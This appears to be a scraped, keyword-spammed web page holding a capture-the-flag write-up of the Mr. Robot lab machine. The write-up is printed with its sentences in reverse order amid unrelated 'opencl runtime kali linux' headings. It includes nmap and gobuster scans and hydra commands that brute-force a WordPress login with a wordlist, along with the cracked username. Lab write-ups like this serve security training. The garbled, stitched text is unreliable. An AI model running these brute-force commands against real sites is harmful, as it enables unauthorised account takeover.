not a native intel opencl runtime kali linux

#Not a native intel opencl runtime kali linux password
#Not a native intel opencl runtime kali linux license

attacking http-post-form://mrrobot.thm:80/wp-login/: log=^USER^& pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&testcookie=1:S=302 max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:1/p:10), ~1 try per task ~/tryhackme/mrrobot # hydra -l Elliot -P fsocity.dic mrrobot.thm http-post-form '/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&testcookie=1:S=302' host: mrrobot.thm login: Elliot password: testīingo, our username is Elliot. attacking http-post-form://mrrobot.thm:80/wp-login/: log=^USER^& pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&testcookie=1:F=Invalid username Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. ~/tryhackme/mrrobot # hydra -L fsocity.dic -p test mrrobot.thm http-post-form '/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm%2Fwp-admin%2F&testcookie=1:F=Invalid username' Let’s fire up hydra (note that it is important to pass all the parameters to hydra otherwise it won’t work) : Let’s look at burp to see the POST parameter used :

#Not a native intel opencl runtime kali linux password

So i figured I would try to bruteforce the username and then the password with the wordlist we got earlier. When we try a dummy username/password, Worpdress tells us that the username does not exist. After curling both files, fsociety.dic seems to be a wordlist that we will probably use later. We have our first flag ! there is also a fscocity.dic that we can grab.

#Not a native intel opencl runtime kali linux license

License and readme do not help us very much but here is robots : We notice that this is probably a wordpress blog and that we have a few accesible pages, let’s check them out. ~/tryhackme/mrrobot # cat gobuster.txt (Status: 301) Let’s see the result of the gobuster command : 1 ~/tryhackme/mrrobot # gobuster -u -w /usr/share/wordlists/dirbuster/ -o gobuster.txt website is a fun interactive page where you can watch some videos from the show by typing commands but there is not much information we can use. So while we explore it, let’s run a gobuster scan to find hidden files and directories. We see that there is a webserver running. Nmap done: 1 IP address (1 host up) scanned in 19.91 seconds | ssl-cert: Subject: commonName=| Not valid before: T10:45:03 |_http-title: Site doesn't have a title (text/html).

|_http-title: Site doesn 't have a title (text/html).Ĥ43/tcp open ssl/ssl Apache httpd (SSL-only mode)

Nmap scan report for mrrobot.thm (10.0.0.36) ~/tryhackme/mrrobot # nmap -sC -sV -oA mrrobot mrrobot.thm Nmap 7.70 ( ) at 17:09 CEST Information gatheringįirst thing first, let’s scan the machine with nmap to see its open ports : So for the rest of this writeup, the domain name of the VM will be mrrobot.thm. When starting to attack a new machine I always add the IP of the VM to my /etc/hosts file to avoid dealing with adresses. I used the platform TryHackMe but you can find this VM on Vulnhub. This is my writeup for the famous Mr.Robot CTF virtual machine.